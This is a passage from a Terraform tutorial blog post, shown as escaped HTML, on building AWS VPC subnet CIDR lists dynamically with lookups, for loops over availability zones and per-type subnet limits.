        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.12.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.13.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nx"&gt;public_subnets&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.64.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.65.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.66.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;data&lt;/span&gt; &lt;span class="s2"&gt;"aws_availability_zones"&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aws_availability_zones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
    &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Options: development, qa, staging, production"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vpc.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-aws-modules/vpc/aws"&lt;/span&gt;
    &lt;span class="nx"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt;2.0"&lt;/span&gt;
    &lt;span class="nx"&gt;name&lt;/span&gt;                 &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"my-vpc"&lt;/span&gt;
    &lt;span class="nx"&gt;cidr&lt;/span&gt;                 &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0.0/16"&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;private_subnets&lt;/span&gt;
    &lt;span class="nx"&gt;database_subnets&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;database_subnets&lt;/span&gt;
    &lt;span class="nx"&gt;public_subnets&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_subnets&lt;/span&gt;

    &lt;span class="nx"&gt;azs&lt;/span&gt;                  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;

    &lt;span class="c1"&gt;# omitted arguments for brevity&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Issue #3: Dynamic cidr_c
&lt;/h1&gt;

&lt;p&gt;That's the part where I'm greedy, and I want to populate &lt;strong&gt;cidr_c&lt;/strong&gt; according to the number of availability zones. So far we've covered &lt;strong&gt;a.b&lt;/strong&gt;.c.d/xx, now we will cover this part a.b.&lt;strong&gt;c&lt;/strong&gt;.d/xx&lt;/p&gt;

&lt;p&gt;For example (pseudo-code):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# define cidr_c per subnet
cidr_c_private_subnets =  1
cidr_c_database_subnets = 11
cidr_c_public_subnets = 64

number_of_azs = 2

# dynamically populate lists of subnets
private_subnets  = ["a.b.1.d/xx", "a.b.2.d/xx"]
database_subnets = ["a.b.11.d/xx", "a.b.12.d/xx"]
public_subnets   = ["a.b.64.d/xx", "a.b.65.d/xx"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  for loop
&lt;/h2&gt;

&lt;p&gt;Dynamically populating sounds like a loop, and in Terraform we got the &lt;a href="https://www.terraform.io/docs/configuration/expressions.html#for-expressions"&gt;for loop&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Terraform's for loop reminds me of &lt;a href="https://docs.python.org/3/tutorial/datastructures.html#list-comprehensions"&gt;Python's list comprehension&lt;/a&gt;, which means - create a new list with a for loop.&lt;/p&gt;

&lt;p&gt;Syntax of the for loop statement:&lt;br&gt;
&lt;code&gt;[for item in list: do_something_on(item)]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pseudo-code of the loop that we need:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;availability_zone&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index_of_availability_zone&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some explanations regarding the code above:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;availability_zone&lt;/code&gt; - I picked the name of the iterator, it could also be &lt;code&gt;az&lt;/code&gt; or any other name&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;index_of_availability_zone&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;First index of a list is zero (0)&lt;/li&gt;
&lt;li&gt;Assuming &lt;code&gt;${lookup(var.cidr_ab, var.environment)&lt;/code&gt; equals to one (1) for private_subnets&lt;/li&gt;
&lt;li&gt;Adding the current index of the availability zone to &lt;code&gt;${lookup(var.cidr_ab, var.environment)&lt;/code&gt;, result in:

&lt;ul&gt;
&lt;li&gt;1 + 0&lt;/li&gt;
&lt;li&gt;1 + 1&lt;/li&gt;
&lt;li&gt;1 + 2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  get the index of the availability zone
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://www.terraform.io/docs/configuration/functions/index.html"&gt;index function&lt;/a&gt; to the rescue!&lt;/p&gt;

&lt;p&gt;Syntax of index function:&lt;br&gt;
&lt;code&gt;index(list_to_search_in, value_to_search_for)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The list we're searching in is &lt;code&gt;local.availability_zones&lt;/code&gt; and the value we're looking for is the loop's iterator, &lt;code&gt;availability_zone&lt;/code&gt; in our case.&lt;/p&gt;

&lt;p&gt;Replacing &lt;code&gt;index_of_availability_zone&lt;/code&gt; with &lt;code&gt;index(local.availability_zones, az)&lt;/code&gt; result in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
          &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Issue #3: Full solution
&lt;/h1&gt;

&lt;p&gt;The iterator's name in each loop is &lt;code&gt;az&lt;/code&gt;, I picked a shorter name than &lt;code&gt;availability_zone&lt;/code&gt; to make it more readable. Since we use local values, we only need to change the &lt;code&gt;variables.tf&lt;/code&gt; file, no need to touch &lt;code&gt;vpc.tf&lt;/code&gt; file&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;development&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.22"&lt;/span&gt;
        &lt;span class="nx"&gt;qa&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.24"&lt;/span&gt;
        &lt;span class="nx"&gt;staging&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.26"&lt;/span&gt;
        &lt;span class="nx"&gt;production&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.28"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_database_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_public_subnets&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;span class="k"&gt;data&lt;/span&gt; &lt;span class="s2"&gt;"aws_availability_zones"&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aws_availability_zones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
    &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Options: development, qa, staging, production"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nx"&gt;database_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_database_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nx"&gt;public_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_public_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Issue #4: Limit number of subnets
&lt;/h1&gt;

&lt;p&gt;In solution #3 we populated subnets according to the number of availability zones, which is excellent, but this can lead to unwanted behavior when using the module &lt;a href="https://github.com/terraform-aws-modules/terraform-aws-vpc"&gt;terraform-aws-modules/vpc/aws&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to have a set of subnets per availability zone, without caring for how many subnets are created per region, you can stop here.&lt;br&gt;
It will be easier to explain with an example:&lt;br&gt;
ca-central-1 (Canada Central) - 2 availability zones, hence &lt;strong&gt;6&lt;/strong&gt; subnets&lt;br&gt;
us-west-2 (Oregon) - 4 availability zones, hence &lt;strong&gt;12&lt;/strong&gt; subnets&lt;/p&gt;

&lt;p&gt;If you wish the number of subnets to be similar across all environments (and regions) - keep on reading. For example:&lt;br&gt;
Let's assume we must use ca-central-1 (Canada Central), and because of that, we are forced to use only two availability zones in each region.&lt;br&gt;
ca-central-1 (Canada Central) - 2 availability zones, hence &lt;strong&gt;6&lt;/strong&gt; subnets&lt;br&gt;
us-west-2 (Oregon) - 4 availability zones, forcing maximum of &lt;strong&gt;6&lt;/strong&gt; subnets (2 per type of subnet)&lt;br&gt;
In total, we will have six subnets in our VPC (not including the 'default' one that comes with the VPC).&lt;/p&gt;

&lt;p&gt;Rule of thumb - We need the lowest common number of availability zones that are available in all the regions we intend to use.&lt;/p&gt;
&lt;h2&gt;
  
  
  Maximum number of subnets
&lt;/h2&gt;

&lt;p&gt;We will now initialize three more variables, &lt;code&gt;subnet_max&lt;/code&gt; per subnet.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_database_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_public_subnets&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;

    &lt;span class="nx"&gt;max_private_subnets&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nx"&gt;max_database_subnets&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nx"&gt;max_public_subnets&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conditional for loop
&lt;/h2&gt;

&lt;p&gt;Luckily the for loop has a built-in keyword &lt;a href="https://www.terraform.io/docs/configuration/expressions.html#for-expressions"&gt;if&lt;/a&gt;, which still reminds me of Python's list comprehension :)&lt;/p&gt;

